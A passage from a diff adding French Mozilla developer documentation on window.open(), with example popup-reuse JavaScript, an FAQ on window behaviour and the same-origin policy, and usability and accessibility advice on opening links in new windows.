+           "PromoteFirefoxWindowName", "resizable=yes,scrollbars=yes,status=yes");
+    /* alors, création du pointeur. La nouvelle fenêtre sera créée par dessus
+       toute autre fenêtre existante. */
+  }
+  else {
+    WindowObjectReference.focus();
+    /* sinon, la référence à la fenêtre existe et la fenêtre n'a pas été
+       fermée: la fenêtre est peut-être minimisée ou derrière la fenêtre
+       principale. Par conséquent, on peut l'amener par dessus les autres à
+       l'aide de la méthode focus(). Il n'est pas nécessaire de recréer la fenêtre
+       ou de recharger la ressource référencée. */
+  };
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a href="http://www.spreadfirefox.com/" target="PromoteFirefoxWindowName" onclick="openFFPromotionPopup(); return false;" title="Ce lien créera une nouvelle fenêtre ou en réutilisera une déjà ouverte"&gt;Promouvoir
+l'adoption de Firefox&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>Le code ci-dessus résout un certain nombre de problèmes d'utilisabilité (<em>usability</em> ) relatif aux liens ouvrant des fenêtres secondaires. Le but du <code>return false</code> dans le code est d'annuler l'action par défaut du lien : si le gestionnaire d'évènements onclick est exécuté, il n'est pas nécessaire d'exécuter l'action par défaut du lien. Mais si JavaScript est désactivé ou non existant dans le navigateur de l'utilisateur, c'est l'évènement onclick qui est ignoré et le navigateur charge la ressource référencée dans le cadre ou la fenêtre portant le nom « PromoteFirefoxWindowName ». Si aucun cadre ni fenêtre ne porte ce nom, le navigateur créera une nouvelle fenêtre et l'appellera « PromoteFirefoxWindowName ».</p>
+
+<p>Plus d'informations sur l'utilisation de l'attribut target :</p>
+
+<p><a class="external" href="http://www.la-grange.net/w3c/html4.01/present/frames.html#h-16.3.2">HTML 4.01, section 16.3.2 La sémantique de cible</a></p>
+
+<p><a class="external" href="http://www.htmlhelp.com/fr/faq/html/links.html#new-window">Comment créer un lien qui ouvre une nouvelle fenêtre?</a></p>
+
+<p>Vous pouvez également paramétriser la fonction pour la rendre polyvalente, fonctionnelle dans plus de situations, et donc réutilisable dans d'autres scripts et pages Web :</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference = null; // variable globale
+
+function openRequestedPopup(strUrl, strWindowName) {
+  if(WindowObjectReference == null || WindowObjectReference.closed) {
+    WindowObjectReference = window.open(strUrl, strWindowName,
+           "resizable=yes,scrollbars=yes,status=yes");
+  }
+  else {
+    WindowObjectReference.focus();
+  };
+}
+&lt;/script&gt;
+(...)
+
+&lt;p&gt;&lt;a href="http://www.spreadfirefox.com/" target="PromoteFirefoxWindow" onclick="openRequestedPopup(this.href, this.target); return false;" title="Ce lien créera une nouvelle fenêtre ou en réutilisera une déjà ouverte"&gt;Promouvoir l'adoption de Firefox&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>Vous pouvez également ne permettre à cette fonction que d'ouvrir une seule fenêtre secondaire et de la réutiliser pour d'autres liens de cette manière :</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference = null; // variable globale
+var PreviousUrl; /* variable globale qui stockera l'URL actuellement
+                    chargée dans la fenêtre secondaire */
+
+function openRequestedSinglePopup(strUrl)
+{
+  if(WindowObjectReference == null || WindowObjectReference.closed)
+  {
+    WindowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+           "resizable=yes,scrollbars=yes,status=yes");
+  }
+  else if(previousUrl != strUrl)
+  {
+    WindowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+        "resizable=yes,scrollbars=yes,status=yes");
+    /* si la ressource à charger est différente, on la charge dans la fenêtre
+       secondaire déjà ouverte, et on ramène ensuite celle-ci par dessus
+       sa fenêtre parente. */
+    WindowObjectReference.focus();
+  }
+  else
+  {
+    WindowObjectReference.focus();
+  };
+  PreviousUrl = strUrl;
+  /* explication : on stocke l'URL courante afin de pouvoir la comparer
+     dans le cas d'un autre appel à cette fonction. */
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a href="http://www.spreadfirefox.com/" target="SingleSecondaryWindowName"
+onclick="openRequestedSinglePopup(this.href); return false;"
+title="Ce lien créera une nouvelle fenêtre ou en réutilisera une déjà ouverte"&gt;Promouvoir
+l'adoption de Firefox&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&lt;a href="http://www.mozilla.org/support/firefox/faq"
+target="SingleSecondaryWindowName"
+onclick="openRequestedSinglePopup(this.href); return false;"
+title="Ce lien créera une nouvelle fenêtre ou en réutilisera une déjà ouverte"&gt;FAQ
+de Firefox&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<h3 id="FAQ" name="FAQ">FAQ</h3>
+
+<dl>
+ <dt>Comment empêcher l'apparition du message de confirmation demandant à l'utilisateur s'il veut fermer la fenêtre ?</dt>
+ <dd>Vous ne pouvez pas. <strong>La règle est que les nouvelles fenêtres qui ne sont pas ouvertes par JavaScript ne peuvent pas être fermées par JavaScript.</strong> La console JavaScript dans les navigateurs basés sur Mozilla affichera le message d'avertissement suivant : <code>"Scripts may not close windows that were not opened by script."</code> Si c'était possible, l'historique des URL visitées durant la session de navigation serait perdu au détriment de l'utilisateur.</dd>
+ <dd><a href="fr/DOM/window.close">Plus de détails sur la méthode window.close()</a></dd>
+</dl>
+
+<dl>
+ <dt>Comment ramener la fenêtre si elle est réduite ou masquée par une autre fenêtre ?</dt>
+ <dd>Vérifiez d'abord l'existence de la référence à l'objet window, et si celle-ci existe et n'a pas été fermée, utilisez la méthode <a href="fr/DOM/window.focus">focus()</a>. Il n'y a pas d'autre manière fiable. Un <a href="#Bonnes_pratiques">exemple montrant comment utiliser la méthode focus()</a> est présenté ci-dessus.</dd>
+</dl>
+
+<dl>
+ <dt>Comment forcer une fenêtre à être agrandie/maximisée ?</dt>
+ <dd>Ce n'est pas possible. Tous les fabricants de navigateurs essaient de rendre l'ouverture d'une nouvelle fenêtre visible et remarquée par les utilisateurs, afin d'éviter de les désorienter.</dd>
+</dl>
+
+<dl>
+ <dt>Comment désactiver le redimensionnement des fenêtres ou supprimer les barres d'outils ?</dt>
+ <dd>Il n'est pas possible de l'imposer. Les utilisateurs de navigateurs basés sur Mozilla ont un contrôle absolu sur les fonctionnalités des fenêtres comme le fait de pouvoir les redimensionner, de les faire défiler et la présence de barres d'outils via les préférences utilisateur dans <code>about:config</code>. Comme vos utilisateurs sont ceux qui sont supposés utiliser de telles fenêtres (et non vous en tant qu'auteur), le mieux est d'éviter d'interférer avec leurs habitudes et préférences. Il est recommandé de toujours positionner la redimensionnabilité et la présence de barres de défilement (si nécessaire) à <code>yes</code> pour assurer l'accessibilité au contenu et l'utilisabilité des fenêtres. Ceci est dans l'intérêt tant de l'auteur Web que de ses utilisateurs.</dd>
+</dl>
+
+<dl>
+ <dt>Comment redimensionner une fenêtre en fonction de son contenu ?</dt>
+ <dd>Ce n'est pas faisable de manière fiable, car les utilisateurs peuvent empêcher la fenêtre d'être redimensionnée en décochant la case <code style="white-space: normal;">Édition/Préférences/Avancé/Scripts &amp; plugins/Autoriser les scripts à/ Déplacer ou redimensionner des fenêtres existantes</code> dans Mozilla ou <code style="white-space: normal;">Outils/Options/Contenu/Activer JavaScript/Bouton Avancé/Déplacer ou redimensionner des fenêtres existantes</code> dans Firefox, ou en positionnant <code>dom.disable_window_move_resize</code> à <var>true</var> dans <kbd>about:config</kbd> ou encore en éditant leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+</dl>
+
+<dl>
+ <dd>En général, les utilisateurs désactivent le déplacement et le redimensionnement des fenêtres, étant donné qu'autoriser les scripts à le faire a été la source d'énormément d'abus dans le passé, et les rares scripts qui n'en abusent pas sont souvent incorrects dans leur manière de redimensionner la fenêtre. 99% de ces scripts désactivent le redimensionnement manuel des fenêtres et les barres de défilement alors qu'ils devraient en fait activer ces deux fonctionnalités pour permettre un mécanisme de récupération sain et circonspect dans le cas où leurs calculs s'avèreraient incorrects.</dd>
+</dl>
+
+<dl>
+ <dd>La méthode <a href="fr/DOM/window.sizeToContent">sizeToContent()</a> de l'objet window est également désactivée si l'utilisateur décoche la préférence <code>Déplacer ou redimensionner des fenêtres existantes</code>. Déplacer et redimensionner une fenêtre à distance sur l'écran de l'utilisateur l'ennuiera très souvent, le désorientera, et au mieux sera incorrect. Les auteurs Web espèrent souvent avoir un contrôle absolu (et un pouvoir de décision) sur tous les aspects de positionnement et de taille des fenêtres de l'utilisateur ... ce qui n'est tout simplement pas vrai.</dd>
+</dl>
+
+<dl>
+ <dt>Comment ouvrir une ressource référencée par un lien dans un nouvel onglet ? ou dans un onglet spécifique ?</dt>
+ <dd>Pour l'instant, ce n'est pas possible. Seul l'utilisateur peut modifier ses préférences avancées pour faire cela. <a class="external" href="http://kmeleon.sourceforge.net/">K-meleon 1.1</a>, un navigateur basé sur Mozilla, donne un contrôle et un pouvoir complet à l'utilisateur sur la manière dont les liens sont ouverts. Certaines extensions avancées donnent également à Mozilla et Firefox un grand pouvoir concernant la manière dont les ressources référencées sont chargées.</dd>
+</dl>
+
+<dl>
+ <dd>Dans quelques années, la <a class="external" href="http://www.w3.org/TR/2004/WD-css3-hyperlinks-20040224/#target0">propriété target du module CSS3 hyperlien</a> pourrait être implémentée (si le module CSS3 Hyperlink tel qu'il existe à présent est approuvé). Même si cela se fait et lorsque cela se produira, attendez-vous à ce que les développeurs de navigateurs utilisant des onglets donnent un pouvoir de veto à l'utilisateur et un contrôle total de la façon dont les liens peuvent ouvrir des pages Web. La façon d'ouvrir un lien devrait toujours être entièrement sous le contrôle de l'utilisateur.</dd>
+</dl>
+
+<dl>
+ <dt>Comment savoir si une fenêtre que j'ai ouverte l'est toujours ?</dt>
+ <dd>Vous pouvez tester l'existence de la référence à l'objet window, qui est la valeur renvoyée en cas de succès de l'appel à window.open(), et vérifier ensuite que la valeur renvoyée par <var>WindowObjectReference</var>.closed est bien <var>false</var>.</dd>
+</dl>
+
+<dl>
+ <dt>Comment savoir si ma fenêtre a été bloquée par un bloqueur de popups ?</dt>
+ <dd>Avec les bloqueurs de popups intégrés dans Mozilla/Firefox et Internet Explorer 6 SP2, il est possible de vérifier la valeur renvoyée par <code>window.open()</code> : elle sera <var>null</var> si la fenêtre n'a pas été autorisée à s'ouvrir. Cependant, pour la plupart des autres bloqueurs de popups, il n'existe pas de manière fiable.</dd>
+</dl>
+
+<dl>
+ <dt>Quelle est la relation JavaScript entre la fenêtre principale et la fenêtre secondaire ?</dt>
+ <dd>La valeur renvoyée par la méthode window.open() est la propriété <a href="fr/DOM/window.opener">opener</a>. La variable <var>WindowObjectReference</var> lie la fenêtre principale (opener) à la fenêtre secondaire qu'elle a ouverte, tandis que le mot-clé <code>opener</code> liera la fenêtre secondaire à sa fenêtre principale (celle qui a déclenché son ouverture).</dd>
+</dl>
+
+<dl>
+ <dt>Je n'arrive pas à accéder aux propriétés de la nouvelle fenêtre secondaire. J'obtiens toujours une erreur dans la console JavaScript disant « Erreur <span class="nowiki">:</span> uncaught exception<span class="nowiki">:</span> Permission denied to get property &lt;property_name or method_name&gt; ». Pourquoi cela ?</dt>
+ <dd>Ceci est causé par la restriction de sécurité des scripts entre domaines (aussi appelée<em>Same Origin Policy</em> , « Politique de même origine »). Un script chargé dans une fenêtre (ou cadre) d'une origine donnée (nom de domaine) <strong>ne peut pas obtenir ou modifier</strong> des propriétés d'une autre fenêtre (ou cadre) ou les propriétés d'aucun de ses objets HTML si celle-ci provient d'une autre origine distincte (nom de domaine). C'est pourquoi, avant d'exécuter un script se référant à une fenêtre secondaire depuis la fenêtre principale, le navigateur vérifiera que la fenêtre secondaire possède le même nom de domaine.</dd>
+ <dd>Plus d'informations à propos de la restriction de sécurité des scripts entre domaines : <a class="external" href="http://www.mozilla.org/projects/security/components/same-origin.html" rel="freelink">http://www.mozilla.org/projects/secu...me-origin.html</a></dd>
+</dl>
+
+<h3 id="Probl.C3.A8mes_d.27utilisabilit.C3.A9" name="Probl.C3.A8mes_d.27utilisabilit.C3.A9">Problèmes d'utilisabilité</h3>
+
+<h4 id=".C3.89vitez_de_recourir_.C3.A0_window.open.28.29" name=".C3.89vitez_de_recourir_.C3.A0_window.open.28.29">Évitez de recourir à <code>window.open()</code></h4>
+
+<p>De manière générale, il est préférable d'éviter d'utiliser window.open() pour plusieurs raisons :</p>
+
+<ul>
+ <li>Tous les navigateurs basés sur Mozilla offrent la navigation par onglets, et il s'agit du mode préféré pour ouvrir des ressources référencées… pas seulement dans le cas des navigateurs basés sur Mozilla, mais dans tous les autres navigateurs offrant la navigation par onglets. En d'autres mots, les utilisateurs de navigateurs utilisant des onglets préfèrent ouvrir des onglets que des fenêtres dans la plupart des situations. Ce type de navigateur gagne rapidement en popularité depuis plusieurs années et cette tendance ne semble pas près de s'arrêter. La version 7 d'Internet Explorer sortie en octobre 2006 propose également la navigation par onglets.</li>
+</ul>
+
+<ul>
+ <li>Il existe à présent <a class="link-https" href="https://addons.update.mozilla.org/extensions/showlist.php?application=mozilla&amp;category=Tabbed+Browsing&amp;numpg=50&amp;os=windows&amp;version=auto-detect&amp;submit=Update">plusieurs extensions à Mozilla</a> (comme Multizilla) et <a class="link-https" href="https://addons.update.mozilla.org/extensions/showlist.php?application=firefox&amp;version=1.0+&amp;os=Windows&amp;category=Tabbed%20Browsing">à Firefox</a> (comme <a class="link-https" href="https://addons.update.mozilla.org/extensions/moreinfo.php?application=firefox&amp;version=1.0%20&amp;os=Windows&amp;category=Tabbed%20Browsing&amp;numpg=10&amp;id=158">Tabbrowser preferences</a>), fonctionnalités et préférences avancées basées sur la navigation par onglets, sur la conversion des appels à window.open() en ouvertures d'onglets, et sur la neutralisation des appels à window.open(). En particulier, afin de neutraliser l'ouverture de nouvelles fenêtres non demandées (souvent présentés comme bloquant les fenêtre popups non sollicitées ou les ouvertures automatiques de fenêtres par des scripts). Parmi ces fonctionnalités qu'on peut retrouver dans des extensions, il y a l'ouverture d'un lien dans une nouvelle fenêtre ou non, dans la même fenêtre, dans un nouvel onglet ou non, en arrière-plan ou non. Coder sans réfléchir pour ouvrir de nouvelles fenêtres n'est plus assuré de succès, ne pourra pas se faire par la force, et dans le cas où l'auteur Web y parvient, ne fera qu'ennuyer la majorité des utilisateurs.</li>
+</ul>
+
+<ul>
+ <li>Les nouvelles fenêtres peuvent avoir leur barre de menu, leurs barres de défilement, leur barre d'état, leur redimensionnabilité etc. désactivées. Ceci n'est pas possible avec de nouveaux onglets. Par conséquent, de nombreux utilisateurs préfèrent utiliser des onglets étant donné que l'interface de leur navigateur est laissée intacte et reste stable.</li>
+</ul>
+
+<ul>
+ <li>L'ouverture de nouvelles fenêtres, même avec leurs fonctionnalités réduites, utilise des ressources système considérables sur l'ordinateur de l'utilisateur (processeur, mémoire RAM) et met en jeu une grande quantité de code à exécuter (gestion de la sécurité, de la mémoire, diverses options de code parfois assez complexes, la construction du cadre de la fenêtre, des barres d'outils de la fenêtre, son positionnement et sa taille, etc.). L'ouverture de nouveaux onglets demande nettement moins de ressources système et est plus rapide à exécuter que d'ouvrir de nouvelles fenêtres.</li>
+</ul>
+
+<h4 id="Offrez_d.27ouvrir_un_lien_dans_une_nouvelle_fen.C3.AAtre.2C_en_suivant_ces_recommandations" name="Offrez_d.27ouvrir_un_lien_dans_une_nouvelle_fen.C3.AAtre.2C_en_suivant_ces_recommandations">Offrez d'ouvrir un lien dans une nouvelle fenêtre, en suivant ces recommandations</h4>
+
+<p>Si vous voulez permettre l'ouverture d'un lien dans une nouvelle fenêtre, suivez ces règles d'utilisabilité et d'accessibilité testées et éprouvées :</p>
+
+<h5 id="N.27utilisez_jamais_ce_format_de_code_pour_les_liens_.3Ca_href.3D.22javascriptwindow.open.28....29.22_....3E" name="N.27utilisez_jamais_ce_format_de_code_pour_les_liens_:.3Ca_href.3D.22javascript:window.open.28....29.22_....3E">N'utilisez <em>jamais</em> ce format de code pour les liens :<br>
+ <code>&lt;a href="javascript:window.open(...)" ...&gt;</code></h5>
+
+<p>Les liens « javascript: » sont toujours mauvais pour l'accessibilité et l'utilisabilité des pages Web dans tous les navigateurs.</p>
+
+<ul>
+ <li>Les pseudo-liens « javascript:» ne fonctionnent plus du tout lorsque la gestion de JavaScript est désactivée ou inexistante. Certaines sociétés n'autorisent leurs employés à utiliser le Web que suivant des politiques de sécurité très strictes : JavaScript désactivé, pas de Java, pas d'ActiveX, pas de Flash. Pour diverses raisons (sécurité, accès public, navigateurs texte, etc.), environ 5% à 10% des utilisateurs naviguent sur le Web avec JavaScript désactivé.</li>
+ <li>Les liens « javascript: » interfèrent avec les fonctionnalités avancées de la navigation par onglets : entre autres, le clic du milieu sur des liens, le raccourci Ctrl+clic sur un lien, les fonctions de certaines extensions, etc.</li>
+ <li>Les liens « javascript: » interfèrent avec le processus d'indexation des pages Web par les moteurs de recherche.</li>
+ <li>Les liens « javascript: » interfèrent avec les technologies d'assistance (par exemple les lecteurs vocaux) et diverses applications utilisant le Web (par exemple les <abbr title="Personal Digital Assistant (assistant personnel numérique)">PDA</abbr> ou les navigateurs pour mobiles).</li>
+ <li>Les liens « javascript: » interfèrent également avec les fonctionnalités de « mouse gestures » proposées par certains navigateurs.</li>
+ <li>Le schéma de protocole « javascript: » sera rapporté comme une erreur par les validateurs et vérificateurs de liens.</li>
+</ul>
+
+<p><strong>Plus d'informations à ce sujet :</strong></p>
+
+<ul>
+ <li><a class="external" href="http://www.useit.com/alertbox/20021223.html">Top Ten Web-Design Mistakes of 2002</a>, 6. JavaScript in Links, Jakob Nielsen, Décembre 2002</li>
+ <li><a class="external" href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a>, Jeff Howden, Février 2002</li>
+ <li><a class="external" href="http://jibbering.com/faq/#FAQ4_24">FAQ de la discussion dans le newsgroup comp.lang.javascript sur les liens "javascript:"</a></li>
+</ul>
+
+<h5 id="N.27utilisez_jamais_.3Ca_href.3D.22.23.22_onclick.3D.22window.open.28....29.3B.22.3E" name="N.27utilisez_jamais_.3Ca_href.3D.22.23.22_onclick.3D.22window.open.28....29.3B.22.3E">N'utilisez jamais <code>&lt;a href="#" onclick="window.open(...);"&gt;</code></h5>
+
+<p>Un tel pseudo-lien met également en péril l'accessibilité des liens. <strong>Utilisez toujours une véritable URL pour la valeur de l'attribut href</strong>, afin que si JavaScript s'avère désactivé ou absent, ou si le navigateur ne peut pas ouvrir de fenêtre secondaire (comme Microsoft Web TV, les navigateurs en mode texte, etc.), de tels navigateurs pourront toujours charger la référence référencée dans leur mode de chargement/gestion de nouvelles ressources par défaut. Cette forme de code interfère également avec les fonctionnalités avancées de navigation par onglets de certains navigateurs, comme le clic du milieu et les raccourcis Ctrl+clic et Ctrl+Entrée sur les liens, les « mouse gestures », etc.</p>
+
+<h5 id="Identifiez_toujours_les_liens_qui_cr.C3.A9eront_.28ou_r.C3.A9utiliseront.29_une_nouvelle_fen.C3.AAtre_secondaire" name="Identifiez_toujours_les_liens_qui_cr.C3.A9eront_.28ou_r.C3.A9utiliseront.29_une_nouvelle_fen.C3.AAtre_secondaire">Identifiez toujours les liens qui créeront (ou réutiliseront) une nouvelle fenêtre secondaire</h5>
+
+<p>Identifiez les liens qui ouvriront de nouvelles fenêtre de manière à aider les utilisateurs en utilisant l'attribut <code>title</code> du lien, en ajoutant une icône à la fin du lien, ou en modifiant le curseur de la souris.</p>
+
+<p>Le but est d'avertir les utilisateurs à l'avance des changements de contexte pour réduire la confusion de leur part : changer la fenêtre courante ou afficher subitement une nouvelle fenêtre peut être très désorientant pour certains utilisateurs (le bouton Précédent devient inutilisable).</p>
+
+<blockquote>
+<p>« Souvent, les utilisateurs ne remarquent pas qu'une nouvelle fenêtre s'est ouverte, particulièrement si ils utilisent un petit écran où les fenêtres sont agrandies pour utiliser toute la surface de l'écran. Ainsi, l'utilisateur voulant retourner à la page initiale sera dérouté par un bouton<em>Précédente</em> grisé. »<br>
+ citation de <a class="external" href="http://www.useit.com/alertbox/990530.html">The Top Ten<em>New</em> Mistakes of Web Design</a>: 2. Opening New Browser Windows, Jakob Nielsen, mai 1999</p>
+</blockquote>
+
+<p>Lorsque des changements complets de contexte sont identifiés explicitement avant qu'ils se produisent, l'utilisateur peut déterminer s'il désire le faire ou s'y préparer : non seulement il ne sera pas perturbé ni désorienté, mais des utilisateurs plus expérimentés pourront eux-mêmes décider comment ouvrir de tels liens (dans une nouvelle fenêtre ou non, dans la même fenêtre, dans un nouvel onglet ou non, en arrière-plan ou non).</p>
+
+<p><strong>Références</strong></p>
+
+<ul>
+ <li>« Si votre lien crée une nouvelle fenêtre, ou fait apparaitre d'autres fenêtres sur votre affichage, ou déplace le focus du système vers un autre cadre ou une autre fenêtre, alors la chose sympathique à faire est d'indiquer à l'utilisateur que quelque chose de ce genre va se produire. » <a class="external" href="http://www.w3.org/WAI/wcag-curric/sam77-0.htm">World Wide Web Consortium Accessibility Initiative regarding popups</a></li>
+ <li>« Utilisez les titres de liens pour donner aux utilisateurs un aperçu d'où chaque lien les emmènera, avant qu'ils aient cliqué dessus. » <a class="external" href="http://www.useit.com/alertbox/991003.html">Ten Good Deeds in Web Design</a>, Jakob Nielsen, octobre 1999</li>
+ <li><a class="external" href="http://www.useit.com/alertbox/980111.html">Using Link Titles to Help Users Predict Where They Are Going</a>, Jakob Nielsen, janvier 1998</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header" colspan="4">Exemples de curseurs et icônes « Nouvelle fenêtre »</td>
+  </tr>
+  <tr>
+   <td style="width: 25%;"></td>
+   <td style="width: 25%;"></td>
+   <td style="width: 25%;"></td>
+   <td style="width: 25%;"></td>
+  </tr>
+  <tr>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td colspan="2"></td>
+   <td colspan="2"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Utilisez_toujours_l.27attribut_target" name="Utilisez_toujours_l.27attribut_target">Utilisez toujours l'attribut target</h5>
+
+<p>Si JavaScript est désactivé ou absent, le navigateur créera une fenêtre secondaire ou affichera la ressource demandée selon sa gestion habituelle de l'attribut target : par exemple certains navigateurs ne pouvant pas créer de nouvelles fenêtres comme Microsoft Web TV, chargeront la ressource demandée et l'ajouteront à la fin du document courant. Le but et l'idée est d'essayer de fournir — <strong>sans l'imposer</strong> — à l'utilisateur une manière d'ouvrir la ressource référencée, de suivre le lien. Votre code ne doit pas interférer avec les fonctionnalités du navigateur à disposition de l'utilisateur, et doit toujours lui laisser le chemin libre et le choix de la décision finale.</p>
+
+<h5 id="N.27utilisez_pas_target.3D.22_blank.22" name="N.27utilisez_pas_target.3D.22_blank.22">N'utilisez pas <code>target="_blank"</code></h5>
+
+<p>Fournissez toujours un nom significatif dans votre attribut target, et essayez de le réutiliser dans votre page afin qu'un clic sur un autre lien puisse charger la ressource dans une fenêtre déjà utilisée (ce qui rend l'opération beaucoup plus rapide pour l'utilisateur), ce qui justifie la raison (et les ressources système, et le temps dépensé) d'avoir créé une fenêtre secondaire. Utiliser une seule cible et la réutiliser pour plusieurs liens est bien moins gourmand en matière de ressources puisqu'une seule fenêtre est créée et recyclée. D'un autre côté, utiliser « _blank » comme attribut target créera plusieurs nouvelles fenêtre anonymes sur le bureau de l'utilisateur qui ne peuvent ni être recyclées ni réutilisées.</p>
+
+<p>Dans tous les cas, si votre code est bien fait, il ne devrait pas interférer avec le choix final de l'utilisateur mais lui offrira plutôt des choix supplémentaires, plus de façons d'ouvrir les liens et plus de pouvoir sur l'outil qu'il utilise (son navigateur).</p>
+
+<h3 id="Glossaire" name="Glossaire">Glossaire</h3>
+
+<dl>
+ <dt>Fenêtre ouvrante, opener, fenêtre parente, fenêtre principale, première fenêtre </dt>
+ <dd>Termes souvent utilisés pour décrire ou identifier la même fenêtre. Il s'agit de la fenêtre depuis laquelle une nouvelle fenêtre sera créée. C'est la fenêtre dans laquelle l'utilisateur clique sur un lien qui mène à la création d'une autre, nouvelle fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>Sous-fenêtre, fenêtre enfant, fenêtre secondaire, deuxième fenêtre </dt>
+ <dd>Termes souvent utilisés pour décrire ou identifier la même fenêtre. C'est la nouvelle fenêtre qui a été créée.</dd>
+</dl>
+
+<dl>
+ <dt>Fenêtres popup non sollicitées </dt>
+ <dd>Ouverture automatique de fenêtres initiée par un script sans le consentement de l'utilisateur.</dd>
+</dl>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>{{ DOM0() }} <code>window.open()</code> ne fait partie d'aucune spécification ou recommandation technique du <abbr title="World Wide Web Consortium">W3C</abbr>.</p>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<h4 id="Note_sur_les_priorit.C3.A9s" name="Note_sur_les_priorit.C3.A9s">Note sur les priorités</h4>
+
+<p>Dans les cas où <code>left</code> et <code>screenX</code> (et/ou <code>top</code> et <code>screenY</code>) ont des valeurs contradictoires, <code>left</code> et <code>top</code> ont priorité sur <code>screenX</code> et <code>screenY</code> respectivement. Si <code>left</code> et <code>screenX</code> (et/ou <code>top</code> et <code>screenY</code>) sont définies dans la liste <var>strWindowFeatures</var>, les valeurs <code>left</code> (et/ou <code>top</code>) seront reconnues et utilisées. Dans l'exemple suivant, la nouvelle fenêtre sera positionnée à 100 pixels du bord gauche de la zone de travail des applications du système d'exploitation de l'utilisateur, et non à 200 pixels.</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+WindowObjectReference = window.open("http://www.lemonde.fr/",
+           "NomDeLaFenetreLeMonde",
+           "left=100,screenX=200,resizable,scrollbars,status");
+&lt;/script&gt;
+</pre>
+
+<p>Si <code>left</code> est défini, mais que <code>top</code> n'a aucune valeur mais que <code>screenY</code> en a une, <code>left</code> et <code>screenY</code> seront les coordonnées de positionnement de la fenêtre secondaire.</p>
+
+<p><code>outerWidth</code> a priorité sur <code>width</code>, et <code>width</code> a priorité sur <code>innerWidth</code>. <code>outerHeight</code> a priorité sur <code>height</code> et <code>height</code> a priorité sur <code>innerHeight</code>. Dans l'exemple suivant, les navigateurs basés sur Mozilla créeront une nouvelle fenêtre avec une taille extérieure (outerWidth) de 600 pixels de large et ignoreront la requête d'une largeur (width) de 500 pixels ainsi que celle d'une taille intérieure (innerWidth) de 400 pixels.</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+WindowObjectReference = window.open("http://www.wwf.org/",
+           "NomDeLaFenetreWWF",
+           "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status");
+&lt;/script&gt;
+</pre>
+
+<h4 id="Note_sur_les_corrections_d.27erreurs_de_position_et_de_dimension" name="Note_sur_les_corrections_d.27erreurs_de_position_et_de_dimension">Note sur les corrections d'erreurs de position et de dimension</h4>
+
+<p>Les positions et dimensions demandées dans la liste <var>strWindowFeatures</var> ne seront pas respectées et <strong>seront corrigées</strong> si n'importe laquelle de ces valeurs ne permet pas à la fenêtre complète d'être affichée dans la zone de travail des applications du système d'exploitation de l'utilisateur. <strong>Aucune partie de la nouvelle fenêtre ne peut être initialement positionnée hors de l'écran. Ceci est le réglage par défaut de tous les navigateurs basés sur Mozilla.</strong></p>
+
+<p><a class="external" href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">Internet Explorer 6 SP2 dispose d'un mécanisme de correction d'erreur similaire</a>, mais celui-ci n'est pas activé par défaut pour tous les niveaux de sécurité : un niveau de sécurité trop bas peut désactiver ce mécanisme de correction d'erreurs.</p>
+
+<h4 id="Note_sur_les_barres_de_d.C3.A9filement" name="Note_sur_les_barres_de_d.C3.A9filement">Note sur les barres de défilement</h4>
+
+<p>Lorsque le contenu dépasse les dimensions de la zone de visualisation de la fenêtre, des barres de défilement (ou un mécanisme de définement similaire) sont nécessaires pour s'assurer que les utilisateurs puissent accéder au contenu. Le contenu ou la boîte du document d'une page web peut outrepasser, excéder les dimensions demandées pour la fenêtre pour plusieurs raisons qui sont hors du contrôle des auteurs Web :</p>
+
+<ul>
+ <li>l'utilisateur a redimensionné la fenêtre</li>
+ <li>l'utilisateur a augmenté la taille de police du texte via le menu Affichage/Taille du texte (%) dans Mozilla ou Affichage/Taille du texte/Plus grande ou Plus petite dans Firefox</li>
+ <li>l'utilisateur a défini une taille minimale de police pour les pages qui est plus grande que celle demandée par l'auteur. Les personnes de plus de 40 ans ou ayant des habitudes particulières de lecture choisissent souvent une taille minimale de police dans les navigateurs basés sur Mozilla.</li>
+ <li>l'auteur n'est pas conscient des marges par défaut (et/ou bordures et/ou padding) appliquées à l'élément racine ou nœud <code>body</code> dans les différents navigateurs et versions de ceux-ci</li>
+ <li>l'utilisateur utilise une feuille de style utilisateur (<a class="external" href="http://www.mozilla.org/support/firefox/edit#content">userContent.css in Mozilla-based browsers</a>) pour ses habitudes de navigation qui modifie les dimensions habituelles pour ses habitudes de lecture (marges, padding, taille de police par défaut)</li>
+ <li>l'utilisateur peut personnaliser individuellement la taille (hauteur ou largeur) de la plupart des barres d'outils via son système d'exploitation. Par exemple les bordures de fenêtres, la hauteur de la barre de titre, des menus et des barres de défilement, ainsi que la taille du texte sont entièrement personnalisables par l'utilisateur dans le système d'exploitation Windows XP. Ces dimensions de barres d'outils peuvent également être changées par des thèmes du navigateur, ou du système d'exploitation</li>
+ <li>l'auteur ne s'attend pas à ce que la fenêtre de l'utilisateur dispose de barres d'outils spécifiques supplémentaires ; comme des barres de préférences, la barre web developer, des barres d'accessibilité, de blocage de popups et de recherche, etc.</li>
